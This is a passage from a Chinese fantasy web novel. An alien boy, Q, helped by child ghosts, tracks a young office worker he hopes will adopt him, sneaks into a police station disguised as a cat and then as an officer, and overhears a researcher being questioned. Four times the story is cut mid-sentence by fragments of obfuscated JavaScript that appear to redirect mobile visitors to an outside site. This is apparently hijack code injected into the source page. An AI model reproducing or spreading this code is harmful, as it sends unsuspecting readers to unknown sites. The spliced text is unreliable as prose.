但出于良好的修养Q还是乖乖接受了表扬并提议：“太阳快出来了，人类即将倾巢而出，我们还是找一个地方避一避吧。” ………… 早上的街头十分热闹，小贩们的吆喝声穿梭在形形色色的路人中央，极具烟火气。 “小朋友，你是一个人出来的吗？你的家长呢？”路边摊卖早餐的老板娘快跑几步蹲到正在等待红灯的亮眼娃娃身旁，连声询问。 Q迷惑地看着脸蛋冻得通红的胖女人，心里紧张——他这次真的没随便入侵别人的大脑学习，怎么会突然找上他？他瞟了一眼斜前方不远处的男人，心里愈发着急！ 女人也怕自己火急火燎的行为吓到孩子，放柔了语气说：“我是看你自个儿在这站着害怕哪个车磕着碰着你，你家大人咋不跟着你嘞？” Q扯谎道：“斜前方那个穿黑色羽绒服的就是我哥，我走得慢了落后几步。” 女人这才放下心来，边往回走边骂：“这是什么哥哥？太不称职了，也不怕孩子出点啥事。” Q自然听到了她的嘀咕，心里默默给黑衣男道歉。 绿色的灯光穿过薄雾，流动的车辆停下来安静地等候着行人通过。Q连着几个大跨步走到距离黑衣男更近的位置，不紧不慢地跟住他的步伐。 “咱们干嘛跟着他？他偷钱了要抓小偷吗？”麻花辫轻盈地在Q的上方转圈圈。 Q的能量波精准无误地送到小鬼那——“其实我也不知道自己为什么想跟着他，但从我看到他的第一眼我就想跟着他，就像是受到某种未知而神奇的召唤，它叫我跟在这个人身边。” “诶？好奇怪的感觉？” Q没有再解释，事实上他也解释不清楚，毕竟Q也只是个普普通通的三维生命而已。可这种感觉却是一种极其玄妙的命运的推背感，他的种族和人类一样还尚未能发现命运的指引究竟是什么，但他相信两族中的部分生命曾有幸拥有这种体验。 生命仰赖的时间是超出三维的其他维度，而且很大可能上它是折叠的——这意味着我们不是只有过了昨天才有今天、过了今天才有明天，而是过去、现在、未来同时并立存在。 时间就好比是一本书，书的内容是固定的，但你在翻看的时候却不能同时看到所有页码，而想要理解这本书就只能按照头脑设定好的线性思维从第一页看起，并且你对每个当下页面的理解又会对书下一页的理解产生影响。 当Q看到黑衣男人的第一眼，他的意识突然链接到更高的维度，男人让他感到莫名熟悉亲切，让他的情绪达到紧张的高峰，这也让他相信或许这就是自己来到地球的目的，未来他们之间会发生许多奇妙的事情。 命运的指引，如此荒诞而无法抗拒。 Q停下了，因为前方的男人正回头张望。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050814|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >Q停在附近的大人身旁，乖巧地低着头哈气，装作自己仿佛是她带出来的小孩子 “从路口过来就感觉有人在跟着我，难道是我多心了？”黎歌转过头，气得又骂：“都怪周扒皮天天压榨员工，加班加的我神经恍惚了！” 他没发现异常，另外晴朗白天的环境加持似乎也让人放心不少，黎歌提溜着早餐继续往家走。 Q迈着小碎步自然地继续跟上黎歌，不过因为人流在逐渐减少，所以他更加小心，距离从十块红砖渐渐拉到十五块。 耀眼的银色中铺陈的红砖显得格外温暖，乳白色的豆腐脑轻轻在浅褐色汤汁内打转，升腾的热气顺着缝隙润湿了黎歌的中指。 “他快要进单元门了，咱们赶紧跟上去啊！”麻花辫急得直跺脚，一个飞射撞在了单元门上。可惜她没有实体，沉重的铁门死死卡住了麻花辫一半的意识体。 麻花辫往后一使劲将胳膊拽了回来，恶狠狠地扇了门几个大耳刮子：“你等着我有身体的！叫我奶奶拆了你！” 小鬼老大一脸无奈地抹了把额头，转头问Q：“还跟不跟？” 就在说话的间隙，Q已经尾随着一个漂亮的姐姐来到了单元门口了。 “小朋友，这么冷的天你自己出门吗？”那姐姐与他搭话。 Q摇头：“我和哥哥一起去买早餐” ——麻花辫在半空提醒着：“他买了豆腐脑和包子，那个包子看起来有点绿，应该是韭菜馅儿的” “我们买了豆腐脑和韭菜馅的包子”Q接着说，自然而然地溜了进来。 漂亮姐姐小声惊呼：“呀！这么丰盛呀！那请姐姐吃一个包子好不好？” “Q！她好漂亮！请她吃两个！”麻花辫使用力点头。 “好，下次买多多的请姐姐吃！”Q乖巧地答应她，顺利捕获人类的芳心。 年轻女人高兴地揉揉Q的小脸蛋，喜爱之情就快溢出来了，她重复道：“下次，下次一定来我家玩！我家也有个小朋友，你可以和他玩游戏，姐姐给你俩买好多好吃的嗷！” “你们人类都是这样的吗？” 他这话里的指示性太强，小鬼老大完全理解Q问题中“这样”的代指，毫不犹豫地说：“当然！我们人类都是非常非常热情的！” 小光头弱弱地补上一句：“主要是你长得太好看了，没人不喜欢好看的东西。” 年轻女人停在三楼挥手告别：“我家住301，小宝贝下次来我家玩啊！” Q配合地也朝她挥手，甜甜地喊：“谢谢姐姐~” 他怕女人问他自己住在哪层哪个屋会露馅，所以不敢多留拔腿就往上爬。 另一边女人打开密码锁，扎着个冲天啾的小孩吸溜了下鼻涕，兴冲冲地将她抱了个满怀，“小姨你终于来了！” 女人蹲下身摸摸自家外甥的脸蛋，心里直犯嘀咕：原来横看竖看自家孩子也是个预备童模的苗子，怎么今天看起来长得格外潦草呢？ 眼睛不够大，皮肤也不够粉白，还有这个仪态——啧啧，果然货比货得扔，人比人更是可怕。 5. 他太特别了 金色的“5”楼标反射着太阳的光泽，格外显眼。 小鬼老大胳膊抱在胸前，一小撮头发黏在额头上形成尖尖的角，他问：“确定是五楼？可是刚刚我们也没看见他上楼，你怎么知道的？” Q说：“我闻得出他的气味，我们种族对气味要比人类敏感得多。” “那和狗比呢？” Q一愣，至今为止他还尚未链接过犬类的能量场，所以暂时不知道高下，只好说：“没试过，有机会我试一下就知道了。” 麻花辫替Q出头，“还用试吗？我们Q肯定比狗厉害！” 小光头道：“你这话听起来怪怪的，应该说狗肯定不如Q厉害。” 麻花辫一撅嘴，“咱俩这不是一个意思吗？反正Q肯定不能和狗比输了就对了！” Q：…… 虽然听起来都不太像是夸我，但好意确实感受到了。 “咱们要进去吗？” “还是不了，我怕吓到哥哥。” “哥哥是谁？咱们跟着的那个男的吗？” “嗯，就是他。人类不是喜欢把自己感兴趣的男性称为哥哥，而有好感的女性称为姐姐吗？我对他感兴趣，我想跟着他，所以他就是我哥哥。” 麻花辫：？可是那个男的什么时候认你做弟弟了？ Q学着人类的样子轻轻嗅了嗅周围的空气，事实上他并不需要这样做，因为奇利亚斯生命并没有特定的嗅觉器官，祂们肢体的任何一部分都有发达的嗅觉感受神经元，可以充分地感知气体分子并触发神经信号。 坦白地说，在奇利亚斯人眼里气味才是祂们认识世界、区分生命的首要标准，外表不过是气味的附属品。 这就好比人类世界里，你看到一个人永远是先注意到他的外形、或者更具体点说是注意到一个人的脸，而后是声音、举止等等；但奇利亚斯人和陌生人的第一次见面总是从注意到那个生命的气味开始的，然后是声音、举止，最末的是长相。 因为改变长相对奇利亚斯生命来说简直太简单了，如果他们愿意（且能量充足）的话一天可以变幻几千个造型，可要轻易改变奇利亚斯生命的气味简直难如登天。 因为长期的习惯导致靠独特而微妙的气味来辨别世界上的一切，所以对Q来说遇到的每一个人最先吸引他的地方都不是长相，而是只要靠近就会被千捧万捧簇拥直上的气息。 黎歌身上环绕被阳光晒透的气息，甜的恰到好处，他的气味朝自己涌过来时会产生被照耀着的温暖错觉。 他太特别了。 Q根本没办法拒绝。 Q看着眼前的防盗门坚定地说：“我要想办法把自己变成他的弟弟。” “那你打算怎么办？”光脚丫女孩眼睛亮晶晶的，不禁想：Q真是好厉害呀，她被爸爸妈妈抛弃后流浪了好久都没有想到原来可以再找一个新的家重新生活。 如果她能找到一个家——一个愿意收留她的哥哥姐姐的话，她一定会乖乖听话，哦对，自己还会做饭、也会洗衣服，她可以帮哥哥姐姐做家务、好好照顾哥哥姐姐。 Q打断了光脚丫的思路，颇有逻辑地分析：“第一步要先知道他的名字，身份还有喜好。然后让我和他有交集，让他喜欢我愿意收养我。” “所以，你的办法是？”小鬼老大及时插嘴，“别说你又想不经过别人的同意就随便侵入别人的大脑，这是不道德的!是违法的！而且你今天早上刚刚发过誓！” Q反驳道：“我早上说的是‘以后在非必要的条件下绝对等别人同意之后再学习大脑’，可现在是必要的情况，如果我不被哥哥收养的话我就要流浪街头了，我就是黑户，我就会很可怜很可怜的。难道你真的忍心看我吃不饱、穿不暖、裸露着身体在街头流浪吗？” 周围一阵小鬼的吸气声—— Q接着说：“况且我不是地球生物，不用遵守地球的法律法规，我们奇利亚斯的法规是‘在不侵犯集体利益的情况下，可以充分运用一切条件保护个人利益。’按照这个逻辑我既没有违 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050815|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 反誓言也没有违反法律。” 小鬼老大听得一愣一愣的，完全被Q的巧辩绕进了他的逻辑链里出不来了，一时间支支吾吾说不出来话。 麻花辫一众早就被说动反叛了，纷纷表示：“Q也太可怜了，如果我们都消失了的话Q没有朋友也没有家人了。” “对啊对啊，学习大脑本来就是Q的本领，凭什么不让人家使用自己的本领呢？” “现在就是非常非常必要的情况，我支持Q” 最后小鬼们达成一致：“我们支持Q！” 小鬼老大完全傻眼了，指着他们气得说不出话，可他一人也不当事只好妥协道：“好吧，那就让Q再使一次能力。” Q的嘴角高高扬起，弯的像小船的角。 他缩在楼梯的角落里，脑电波鬼鬼祟祟地侵入屋内人的大脑开始快速浏览着那人的记忆，并将重要的节点全部复制进核心脑里。Q做得相当小心，被黎歌（Q现在已经知道哥哥的姓名了）封锁在脑海深处不愿意回忆或极为深刻的记忆，他都非常巧妙地避开不看。 Q从成百上千件小事中准确提炼出黎歌的人物简介——孤儿，大学毕业，性格开朗热情极富同情心（最喜欢萌物，常常投喂流浪猫狗并且希望自己猫狗双全），职业是苦哈哈的打工人（最喜欢骂老板出气），没谈过恋爱也没有中意的人，性取向，嗯，比较模糊暂时看不出来。 哥哥是孤儿。 Q知道在人类社会里孤儿是很可怜的，黎歌以往的记忆也充分地证实了这一点。但同时因为黎歌是孤儿吃过不少苦，他本性又纯善，所以在不知不觉中形成了极强的同情心，这样一来Q被收养的可能性就变得更大了。 因为黎歌淋过雨所以在能力所及的范围内他会对投奔而来的弱小孩子伸出手。 Q抬起头，语气明显轻快了不少，“我知道该怎么做了，不过在那之前咱们得先去警署一趟。” 麻花辫疑惑道：“去警署干嘛？” Q答：“去查一下收养儿童的流程。” 6. 闯进警局 总警署位于市中心，那种地方不分昼夜都是灯火璀璨的，Q现在面临的一大难题就是选择合适的外形先溜进市中心，再换皮肤溜进警署。 Q原本想按老办法化成一条粘不沾呲溜过来，可一想昨天被人踩了的悲惨经历又瞬间打消了念头。 他决定按照小鬼们给出的建议再捏一具新身体——要求平平无奇的脸蛋、平平无奇的身材、平平无奇的气质，总而言之就是要彻底变成个平平无奇的路人甲。 小鬼们表示没问题，包在祂们身上。 首席设计师麻花辫表示：“长高一点，但也不要太高，就一米五六的样子就好。” 设计总监老大大手一挥：“头发变成褐色的，眼睛变成黑色的。还有那个眼睛变得小一点，跟我差不多大就行。” 创意总监小光头反复强调：“你头发太多了，太多了太多了！一般人的头发只有一小撮，一小撮你懂啥意思不？” 其他鬼也纷纷发表意见—— “皮肤再黄一点！” “再黑一点！” “再胖点！你的脸还有肚子都胖点，要圆滚滚地鼓起来！” “鼻子也胖点，再低一点！” Q按照众人的意见一点点修改自己的面貌，人类有句话说的很有道理：“群众的眼睛是雪亮的”，要相信群众的眼光。 “这样可以吗？” Q终于修完了，现在立在原位的是一个十四五岁的男孩——不高的个头不轻的体重，肚子圆滚滚地凸出来，黑黄的皮肤配上一口亮得耀眼的白牙，眼睛在脸上玩起捉迷藏一不留神就容易找不到了，小雀斑均匀地分布在两个脸蛋上，鼻子被吓得趴在脸上。 新身体看得一群小鬼抓耳挠腮，嘴里嘶嘶哈哈个不停。 “这样，对吗？”蓝帽子抬头看向小鬼老大，眼神要比纯水还要清澈。 小鬼老大沉默片刻，最终找到症结，“主要是Q的衣服太拉胯了，你应该穿一件黑裤子一件黑大衣，相信我的眼光。” Q点点头，他身上的鹅黄色毛衣和淡紫色的背带裤瞬间被黑色全套替代了，和周围不见边际的白色形成强烈的冲突。 “你看，这回，这回……”小鬼老大念了好几个“这回”，硬是没想到夸奖的词儿。 “这个样子…嗯，也是漂亮的。”麻花辫点评道，“黑眼圈和大熊猫一样可爱，雀斑也可爱，头发也不算少，多多的甚至有一把，要我说Q你简直就是超级超级可爱的大人。” “谢谢？”Q揪了一下褐色的头发，像往常一样露齿笑。 “咦~” “咦什么咦，麻花辫说的多有道理！”小鬼老大转身对“咦”的小鬼教训道。 蓝帽子很鄙夷地看了一眼他们俩，“你们就夸他吧，这也能……” 麻花辫瞪大了眼睛恐吓他。 蓝帽子立刻改口，“这和Q想要的平平无奇一模一样，咱们走吧，走吧，哈哈。” Q很高兴自己有了新皮肤，他简直太喜欢这种平平无奇的形象了！如果不是为了靠颜值给自己拉哥哥的同情的话，Q更倾向于用普通的形象混迹人类世界，毕竟对他来说泯然众人要比鹤立鸡群安全太多了！ “感谢大家的帮助！”Q学着人类的礼仪恭恭敬敬地给一群小鬼鞠了一躬。 蓝帽子不合时宜地突然想起生前奶奶最爱说的一句话——“你爸脑子笨，被人卖了还乐呵呵地给人家数钱呢！” *** “妈妈，你看那个哥哥！” 童音一出，领着孩子的女人赶紧拽了一下自家孩子的手转头对Q不好意思地笑笑，随即拉着小孩飞一般地走了。 Q摸不着头脑，轻轻问：“为什么我感觉自己变得普通了之后有更多的人看我了呢？” 小鬼老大心虚地擦擦汗，“那是因为你的内在太有魅力了，无论你长啥样都有人关注你。你懂吧，在我们人类社会有一句非常非常出名的话叫‘心灵美要比外表美更重要’，这句话就是说的你。” Q恍然大悟，接着问：“那你们到底是从哪里看出对方的心灵是不是美的呢？这么重要的识人方法我怎么没在大脑里学习到？” 小鬼老大支支吾吾的，“变绿灯了！对面就是警署，走走走，咱们快走！” Q应声扣上大衣帽子遮住脸，不动声色地再次混进人群中往警署的方向走。 他没有进去，而是进了一家离警署不远的无人便利店。 无人便利店的监控摄像头简直不要太多，Q好不容易挑了一个比较少的角落，通过测算精准地找到了监控区域外的死角——“噗”。 没有人知道今天进入便利店的168位顾客只有167位出来了，剩下的那个——是一只瘦小的狸花猫。 “为什么变成猫？如果是人的话不是更好进警署吗？” “笨蛋啊!人进警署肯定是有事情要找警员帮忙啊！Q有什么事情？难道要和警员说：‘您好，我想被人收养’？” “既然Q会七十二变那为什么不直接变成那个男的家里的什么东西，这不也是和他一起生活了吗？” 麻花辫再次暴击同伴的脑袋：“笨蛋啊！Q想要人和人一起生活，不是被当成笔啊本啊什么的！” “知道了，很痛啊好不好！”被打的小鬼不服气地还嘴，麻花辫握着小拳头仿佛要再给他一拳。 Q在心里默默给麻花辫竖了一个大拇指，他想如果麻花辫也是奇利亚斯生命的话她一定会是联邦里身居高位的指挥家！ “诶？这里有只猫？” 可怜的小狸花蜷缩在威严庄重的警署门口，它很乖，就静静地趴在那里，一双无辜而茫然的眼睛正在悄悄地偷看警员。 “这么冷的天你怎么在这待着呢？”蓝色的警员蹲下来把小猫揽进怀里，用很小很小的声音问：“谁丢猫了？谁要收养这只小猫？” “确定了，你是没人要的小可怜。” 蓝袖子稳稳地托住小猫，人类的温暖向猫类传递，小猫舒服地咕噜一声。 蓝色警员轻快地走进值班室。 “不是说出去透透风吗？怎么这么快就回来了？”年长的警员好奇地瞟他一眼。 “沈哥，你猜我捡了个啥？”蓝色警员神秘兮兮地说，他将手往前一送，“噔噔噔！猫！可爱吧！” 老警员嚯地站起身从他手里接过猫，“这小家伙长得真漂亮哈！搁哪捡的？”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050816|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就门口，出门就看见了，有缘分吧！” 老警员点点头，“有缘分有缘分！哎，你问没问是不是谁家的猫丢了被你捡到了？” 蓝色警员一摆手：“这种小猫我一眼就能看出来，瘦瘦的没有啥肉，还是土猫，毛都打结了，一看就是没人要的流浪猫。 再说该走的程序我都走了，我问了好几遍谁的猫丢了谁要收养这只猫，结果都没人吱声，那我可不是要把它带回来嘛！这么冷的天在外面可不冻死了？” 老警员连连点头，“是了是了，咋说也是一条生命啊！行了你去干活吧，我把它放在值班室的纸盒里再给他整根火腿肠，等到下班你就给他领家去。” 蓝色警员嘿嘿一笑：“是！”他转头就往外走，老警员在后面紧着嘱咐：“打起精神来，今天三楼有重要的审讯，盯紧点。” 蓝色警员还是答：“是！” 老警员无奈地摸一把脑门，“现在的这些孩子，莽莽撞撞的。” 他拿起桌子上的《XXX生平重要文选》接着读，聚精会神的，时不时嗦一口茶。 Q轻轻地抬起小猫脑袋，蹑手蹑脚地往外走。众所周知小猫走路是很轻很轻的，Q的动作丝毫没有引起沉迷阅读的老警员的注意，他神不知鬼不觉地溜进了和值班室一墙之隔的休息室。 麻花辫不用Q提醒就主动开始找监控，她在不大的休息室里转了好几个圈，最后确定：“放心吧没监控。” Q说：“我要变成刚刚捡我的那个人的样子，老大去帮我盯一下那个人的动态可以吗？发现他往这边来了就通知我。” 小鬼老大表示没问题，走的时候顺便拉了蓝帽子一起，美其名曰两个鬼的监视更加全面。 Q轻轻一抖身体，数以亿计的细胞不断地分裂重组再反复。 “蓝色警员”笑盈盈地从休息室出来了，他站在老警员的身旁，投下的小片阴影恰好盖在了老警员正在读的片段上。 “哎呦！小祖宗你怎么又回来了？干啥？” ““蓝色警员”还是笑笑，“我想和您打听一下收养小孩的流程。” 老警员的胡子颤悠悠的，“你可算是问对人了！我去年还专门负责这一块呢！” “蓝色警员”激动地眼睛发光，无声地催促他快点说。 老警员却又抿了一口茶水才慢悠悠道，“你知道最近的情况，边境那块正打仗呢，国内也不太平，流浪的孩子、孤儿那是一天比一天多。国家虽然有针对这些孩子的抚养政策但到底是给不了像正常家庭那样的保障，所以呢咱们这个收养的口就大大地放松了。” “现在就是你愿意养，孩子愿意跟着你，你身体没毛病也有钱有能力养，也不管什么已婚未婚，不管有没有亲缘关系，都能收养。程序嘛也不费事，只要双方都同意，那就好办。”末了老警员从头到脚打量了一遍小年轻，“咋寻思问这事了呢？咋滴，你想收养一个孩子？” “蓝色警员”道，“不是我，是我一个朋友。行了老先生您接着看吧，我出去盯着了。” 老警员也没说是信还是不信，收回了目光，嘴里念叨着，“嘿，还老先生，求人办事的时候这不也挺会说话的嘛。” 7. 脏东西 “蓝色警员”直行几十步随即右转进了洗手间。 门内哗啦啦的水声不断，不知从哪里冒出来的一摊淡蓝色水液从洗手间的门缝里溢出来，静静地向前流淌。 “要去哪里？”麻花辫紧紧跟上Q。 “去蹲点，蹲哥哥。”Q顺着旮旯往大门处流，结果小鬼老大横在了他的去路前方，“Q，咱们去楼上看看呗！你没听说三楼有重要的事情吗？我想知道是什么重要的事情，难道你就不好奇吗？” Q冷冷道，“我对除哥哥以外的其他人类没有那么重的好奇心。” 老大还是不肯放弃，接着游说，“就去看一眼，看一眼就好，我真的很好奇警署的审讯特别是重要审讯是什么样子的，你知道我以前老是幻想长大后当警察，这是我的梦想，你就陪我去看一眼嘛！”他转身鼓动其他小鬼，“难道大家就不好奇吗？” 这一句话可算是点燃炸弹了，本来警署这种充满正义感的地方对小孩子的吸引力就是相当大的，试问哪个孩子没有过成为超级英雄打倒坏人保护世界的梦想呢？ 一时间乌泱泱的恳求声潮水般涌来—— “Q就答应我们吧！” “咱们看一眼就走，耽误不了什么事的！” “对呀对呀，而且我们都是鬼，没人看得见我们，安全得很！” “求求你啦，求求你啦~Q是全世界最好最好的小朋友！” 众所周知糖衣炮弹是最难挡的，Q也被磨得没了主意，只好答应：“那就去看一眼，只看一眼就走。” “好哦！”小鬼们闹腾着撒欢往上飘，只有Q在洁白的地砖上迅速流动着，虽然狼狈了点但却没有留一丝水渍。 Q暗自纳闷:所以明明你们可以自己溜上去看的，为什么一定要拉我一起？？？这难道就是“集体主义”？ 从三楼的拐角开始，气氛骤然变得紧张压抑。数十名戒备森严的警员持枪站成一列，火红的阳光从防盗窗的缝隙中渗进来，偶尔照在警员的脸上，像老虎的胡须颤巍巍金闪闪的。 Q更小心了，将自己摊得更平，简直就是一层薄薄的水膜！幸好这种细微的变化并没有引起警员们的注意，Q悄悄地靠近唯一一扇隐隐约约间有声音传来的门，一众小鬼也好奇地贴在门上。 “听不清，他们在说什么？”蓝帽子竖起耳朵从门最上面移到门中间然后又到了最下面，结果还是朦朦胧胧的听不真切。 “这屋子的隔音也太好了，咱们还是进去听吧，好不好？”小鬼老大提议。 这回Q倒是很爽快地同意了，反正在门口听和在门里听的差别不过就是一门之隔罢了，没什么本质上的分别。既然来都来了，要是他们听不清楚心里更是痒痒，不如干脆就依了他们的意思。 小鬼老大闻言第一个冲进去。 可和以往不同，这次他进去之后并没有赶紧招呼其他人往里进，而是沉默了片刻。 蓝帽子心里着急道，“老大，怎么了，你怎么不说话了呢？” “没…没怎么，刚刚我进来的时候那个人突然往我这看了一眼。” 蓝帽子一蛄蛹也进来了靠在老大的旁边问，“哪个？” 老大一指：“穿白色衣服的那个。” 蓝帽子顺着他指的方向看过去，只见一个文质彬彬的青年，雪白挺括的衬衫上别着一枚黑色蜘蛛胸针，那胸针上嵌了一颗淡蓝色的石头。蓝帽子不知那石头是什么材质的，但就算是在微弱的光线下它仍熠熠生辉，反射的一点小白斑映在男人的脖子上像是一颗痣。 他的手交叠放在桌子上，左手无名指上戴着一只碧绿的戒指，一般人是带不了这种极其艳丽的颜色的，但在他的手上却显得相得益彰。不知怎的，看着他的手蓝帽子无端地联想到以前看过的小蛇，那样苗条、那样灵活，聚在一起蠢蠢欲动。 这时候Q他们也进来了。 恰在此刻男人又将目光投向门口，Q与他打了个照面（在Q看来）——他的眼睛偏长，薄却深的双眼皮一直延伸到眼尾，眼神是冷的，却不是完完全全的冷，更像是化了一半的冰水，乍看上去外层水雾蒙蒙内里确还是坚冰；眼睛之上的眉骨并不明显，扁平而温柔，在眉毛下有一撇月牙状的小疤痕。 但最让Q在意的还是他的味道，绝不是那种泛滥的工业香水味，像溶溶的花香也像潺潺的山泉水的甜味，如果再细闻，潜藏在这种平静恬淡下还有游丝般的辛辣气息——比烈酒还有浓郁。 “南瑜先生，请您专心回答问题。”审讯员也注意到他的分神，好奇地向门口看了一眼，但那里还是原来的那扇门，并没有什么奇怪的地方。 南瑜轻轻笑了，“抱歉，我的猫还没喂，想着什么时候回家喂猫。对于您提出的问题我可以肯定地回答‘没有’。我们实验室从未进行任何反人道主义的实验，任何参与有关灵魂、人体能量实验的志愿者都是经过政府审批、且志愿者本人全部知情，我们不会对志愿者做任何主观伤害行为、如果志愿者中途感到不适想要退出我们也绝不会阻拦。” “我知道在很多人眼里‘灵魂’这种东西是虚无缥缈的存在，‘鬼魂’更是荒诞滑稽的脏东西，但我们的研究证明百年来的伪科学似乎也有可取之处，您还有其他要问的吗？” 两个询问员对视一眼，“南瑜先生是顶尖的研究员，您和您的团队能来C城研究院是我们的荣幸。但我们希望您的研究不要触及法律和道德的底线，所以在不透露实验机密的情况下我们希望您能具体讲述一下实验的设计和实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15050817|162808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施过程。” 南瑜抬眼，温和地笑道，“当然可以。” —— “啊啊啊啊！那男人说我们是脏东西！” “凭什么这样说我们？我们没有害过人又没有干过坏事，又没有偷东西，又没有恶作剧，他就骂我们？” 我们也骂回去，这男人一看就是小白脸！小白脸！“” Q被吵得头疼，喊了嗓子：“别叫了，你们骂他他也听不见，还是白费力气。” 麻花辫别着头，“不要，我要画个圈圈诅咒他。” Q在有些人的记忆里发现小孩子是不讨喜的生物，现在他对这点也略有体会，谁能帮他劝劝这群叽叽喳喳的小啊？ “咱们走吧，你们想看的也都看了，而且屋里根本没什么好看的。这两个审讯员审问这个男的在实验室有没有违规操作，和我们根本没关系。”Q是实体，怕自己乱动会引起注意只好反反复复地劝。 小鬼老大也失了兴趣，他本以为会是什么江洋大盗或者杀人狂恶魔接受审讯呢，结果就是这么一个看起来弱不禁风的男人。虽然他长得很漂亮，但这丝毫弥补不了老大心里的失望。 “走吧，听Q的去蹲黎歌。” 见老大不坚持了其他鬼也乖乖地穿过门往外走，Q也轻轻地缓慢滑动着，直到溜出警署。 *** 换班之后小警员迫不及待地回到休息室，直奔纸箱盒，“沈哥，那小猫还乖吗？” 老警员一愣，突然想起猫的事情，直拍自己的脑瓜门，“呦！瞧我忘给它喂火腿肠了，来来来，就在我挂着的那个黑色包里。” “沈哥，猫呢？我的猫呢？”小警员把纸箱子拎起来抖了抖，别说猫了甚至连猫毛都没有。他气得喊，“沈哥，你知不知道猫去哪了？” 老警员被问的发懵，他哪知道啊？他连忙起身，有些笨拙地来到角落，话都断断续续的，“这你看，这事办的，哎，那时候你回来、就你问我话的时候你看没看一眼猫还在不在？” 小警员比他更懵，“我什么时候回来了？我一直在值班可是半点没偷懒！” 老警员也急了，“你肯定回来了，你问我收养小孩的流程，我还细细地和你说了，你怎么转眼就忘了呢？” “你是不是记错了？我不可能回来问你这些事，沈哥你怕不是年纪大了把人和事胡乱往一起安。” 老警员把手里的书丢向他，小警员灵活地一闪躲过了。 “你个小兔崽子，胆子大了！” 小警员嘴里嘀咕着不理他，低头找猫，老警员也自知这事自己有责任，换个方向也开始找。 俩人找了好久直到浑身是汗，殊不知他们心心念念的小猫已然来到大街上蹲点下一位饲主了。 8. 赖皮虫 黎歌像平常一样来到家附近的超市买食材，为了省钱也为了健康黎歌一向是自己做饭的。经过三四年的锻炼他的厨艺不说是精湛但应付家常菜是足够的。 黎歌穿着一身黑色长款羽绒服，戴着白色的纯棉口罩，高耸的厚领子护住脖颈，看起来就暖和。他今天心情非常好，明天就开始放假，假期足足有七天之久，就算在家里纯呆着呆七天也要幸福死了。 他提溜着一大袋食材往回走，突然一只蓝色的炮弹冲过来牢牢镶住他的大腿。 黎歌低头一瞧，正对上一张极为精致可爱的脸，这小孩软糯糯地喊他：“哥哥。” 黎歌以为是谁家的小孩认错人了，便笑嘻嘻哄他，“小朋友，谁是你哥哥呀？你喊我哥哥要不要和我回家？” 小孩的眼睛睁地大大的，惊喜地磕巴，“真…真的吗？” 黎歌意识到他不是在开玩笑。 他把大塑料袋撂在地上，抱起孩子大声喊：“喂！都看看，谁家的孩子丢了？都看看自己身边，自己家的孩子在不在？” 那小孩被他抱在怀里，凑近了黎歌才闻到他身上的气味，有小孩子的奶味，但更多的是旧衣服腐朽的味道。 他仔细看看孩子的衣服，左一道口又一道补丁，竟没一处干净完好的地方。 黎歌的心被狠狠地一揪。 他的呼喊声吸引了不少围观群众。C城曾是极有名的工业城市，经济发达，这里的人也个个是热心肠，所以城内几乎没有过流浪儿童。 但C城靠近两国边界，虽然战争的战场并不在这却也波及到此，近日里多了好些流浪的孩童。 围观的大娘道，“看这孩子的眼睛像是个混血小孩。” 买菜的大姐也说：“这孩子穿的怎么这么薄，谁家父母能舍得给孩子穿这样破的衣服？恐怕是……” “恐怕是流浪的难民小孩啊！” 那小孩淡金色的眼瞳中流露出恐惧，双臂反而更紧地环住了黎歌的脖子。 黎歌问他：“小朋友，你告诉哥哥，你的爸爸妈妈呢？” 小孩松手直直地看向黎歌的眼睛，轻轻摇摇头，“我没有爸爸妈妈。” 那样清澈稚嫩的眼神让黎歌猛地一沉，一切仿佛都静止了，他穿梭在时空的巨大万花筒里直直面对小时候的自己。 一样的慌张、一样的无措、一样的……担心被再次抛弃。 在孤儿院的时候大人们嫌黎歌年纪太大而不愿意要他，离开孤儿院之后人们又因为他曾经是孤儿而经意或不经意地疏远他。 黎歌从来没有谈过恋爱也没有和任何人建立过哪怕是友情这样的亲密关系，这其中自然有遇不到对的人的原因，却也有他自己不愿意打开心结的缘故。 他对这个孩子甚是怜惜。 